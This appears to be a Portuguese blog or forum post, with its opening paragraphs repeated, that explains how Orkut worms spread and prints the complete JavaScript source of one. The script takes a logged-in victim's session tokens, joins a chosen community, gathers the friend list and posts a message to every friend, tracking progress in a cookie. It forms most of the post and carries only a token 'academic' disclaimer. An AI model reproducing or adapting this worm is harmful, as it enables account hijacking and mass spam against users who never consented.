Com certeza você já viu (ou até foi) vítima de um desses crackers, que criam scripts que fazem com que seu orkut envie recados, entre em comunidades, adicione amigos e faça qualquer outra coisa, sem que você peça.
O interessante é que, ao contrário do que muitos pensam, a maioria dessas ações não é feita por uma pessoa, diretamente. Claro que se você conseguir a senha da pessoa, poderá fazer isso, porém é só com ela... e pronto! E o que dizer de quem consegue fazer isso em massa, com dezenas/centenas/milhares, ao mesmo tempo?
Para começar, entre em seu Orkut e dê um Ctrl + U, para ver o código fonte. Note que há várias inclusões de scripts JavaScript. Isto pode ser considerado um erro grave, já que utilizar server-side para construir uma página dinamicamente pode ser muito mais seguro.
Mas o Orkut, por assim dizer, é uma "gambiarra que deu certo". Ele é cheio de remendas, costuras, fitas isolantes tampando buracos e grudando fios. Ninguém confiava no Orkut no ano de seu lançamento, nem a própria Google.
Então, se você for vasculhando arquivo por aquivo .js, verá que são muito utilizados os códigos ActiveX, e a função XMLHttpRequest em grande escala. Aproveitaremos isso.
Vou dar aqui o possível código fonte de um dos mais famosos worms do Orkut. Que fique claro que eu não sou adepto ao mau uso da internet e nem recomendo que você use este script para isso. Como sempre dizem, é um script de caráter acadêmico, para estudos. Vou dar um exemplo de como entrar em comunidades e enviar recados. Para este último, precisei também ver os amigos da vítima. Leia os comentários pelo código. Para os não iniciados, os comentários ficam sempre após duas barras ("//") e não interferem no código.
É isso aí. Isso é JavaScript. Não necessariamente é enviado pelo Orkut, pois se aberto em outra aba, porém no mesmo navegador que o Orkut está aberto, ele agirá da mesma forma.
Lembre-se que o mau uso desta informação resulta em cadeia. Por isso, não faça mau uso dessas informações !
O interessante é que, ao contrário do que muitos pensam, a maioria dessas ações não é feita por uma pessoa, diretamente. Claro que se você conseguir a senha da pessoa, poderá fazer isso, porém é só com ela... e pronto! E o que dizer de quem consegue fazer isso em massa, com dezenas/centenas/milhares, ao mesmo tempo?
Para começar, entre em seu Orkut e dê um Ctrl + U, para ver o código fonte. Note que há várias inclusões de scripts JavaScript. Isto pode ser considerado um erro grave, já que utilizar server-side para construir uma página dinamicamente pode ser muito mais seguro.
Mas o Orkut, por assim dizer, é uma "gambiarra que deu certo". Ele é cheio de remendas, costuras, fitas isolantes tampando buracos e grudando fios. Ninguém confiava no Orkut no ano de seu lançamento, nem a própria Google.
Então, se você for vasculhando arquivo por aquivo .js, verá que são muito utilizados os códigos ActiveX, e a função XMLHttpRequest em grande escala. Aproveitaremos isso.
Vou dar aqui o possível código fonte de um dos mais famosos worms do Orkut. Que fique claro que eu não sou adepto ao mau uso da internet e nem recomendo que você use este script para isso. Como sempre dizem, é um script de caráter acadêmico, para estudos. Vou dar um exemplo de como entrar em comunidades e enviar recados. Para este último, precisei também ver os amigos da vítima. Leia os comentários pelo código. Para os não iniciados, os comentários ficam sempre após duas barras ("//") e não interferem no código.
Código HTML:
var index=0; var POST=JSHDF["CGI.POST_TOKEN"]; var SIG=JSHDF["Page.signature.raw"]; function createXMLHttpRequest() { try { return new ActiveXObject("Msxml2.XMLHTTP") } catch(e){}; try { return new ActiveXObject("Microsoft.XMLHTTP") } catch(e){}; try { return new XMLHttpRequest() } catch(e){}; return null }; function setCookie(name,value,expires,path,domain,secure) { var curCookie=name+”=”+escape(value)+(expires?”; expires=”+expires.toGMTString():”")+(path?”; path=”+path:”")+(domain?”; domain=”+domain:”")+(secure?”; secure”:”"); document.cookie=curCookie }; function getCookie(name) { // saber se o orkut está logado var dc=document.cookie; var prefix=name+”=”; var begin=dc.indexOf(“; “+prefix); if(begin == -1) { begin= dc.indexOf(prefix); if (begin != 0) { return false } } else { begin += 2}; var end=document.cookie.indexOf(“;”,begin); if(end==-1) { end=dc.length }; return unescape( dc.substring(begin+prefix.length,end)) }; function deleteCookie(name,path,domain) { if (getCookie(name)) { document.cookie=name+”=”+(path?”; path=”+path:”")+(domain?”; domain=”+domain:”")+”; expires=Thu, 01-Jan-70 00:00:01 GMT”; history.go(0) } }; function loadFriends() { // esta função é para criar uma espécie de array com todos os amigos da vítima var xml=createXMLHttpRequest(); if (xml) { xml.open(“GET”,” http://www.orkut.com/Compose.aspx“,true); xml.send(null); xml.onreadystatechange = function() { if(xml.readyState == 4 ) { if(xml.status == 200) { var xmlr = xml.responseText ; var div = document.createElement(“div”); div.innerHTML = xmlr; var select = div.getElementsByTagName(“select”).item(0); if(select) { select.removeChild(select.getElementsByTagName(“option”).item(0)); select.setAttribute(“id”,”selectedList”); select.style.display = “none”; document.body.appendChild(select); sendScrap() // enviar o scrap para eles } } else { loadFriends() } } }; xml.send(null) } }; function cmm_join() { // função para entrar em comunidades var send = “POST_TOKEN=”+encodeURIComponent(POST)+”&signature=”+encodeURIComponent(SIG)+”&Action.join”; var xml = createXMLHttpRequest(); xml.open(‘POST’,’ http://www.orkut.com/CommunityJoin.aspx?cmm=12345678‘,true); // aqui o endereço da comunidade a entrar automaticamente xml.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’); xml.send(send); xml.onreadystatechange = function() { if (xml.readyState == 4) { if(xml.status != 200) { cmm_join(); return }; loadFriends() // tentar fazer o mesmo com os amigos da vítima } } }; function sendScrap() { // enviar scraps if (index==document.getElementById(“selectedList”).length) { return }; var scrapText="eu çol çagaiz“; // aqui o conteúdo do scrap a ser enviado para todos os amigos var send = “Action.submit=1&POST_TOKEN=”+encodeURIComponent(POST)+”&scrapText=”+encodeURIComponent(scrapText)+”&signature=”+encodeURIComponent(SIG)+”&toUserId=”+document.getElementById(“selectedList”).item(index).value; var xml=createXMLHttpRequest(); xml.open(“POST”,”http://www.orkut.com/Scrapbook.aspx”,true); xml.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded;”); xml.send(send); xml.onreadystatechange = function() { if( xml.readyState==4) { index++; var wDate = new Date; wDate.setTime(wDate.getTime()+86400); setCookie(‘wormdoorkut’,index,wDate); sendScrap() // enviar os scraps! } } }; if (!getCookie(‘wormdoorkut’)) { var wDate=new Date; wDate.setTime(wDate.getTime()+86400); setCookie(‘wormdoorkut’,’0',wDate) }; index=getCookie(‘wormdoorkut’); cmm_join(); // entrar para a comu!
Lembre-se que o mau uso desta informação resulta em cadeia. Por isso, não faça mau uso dessas informações !
Comment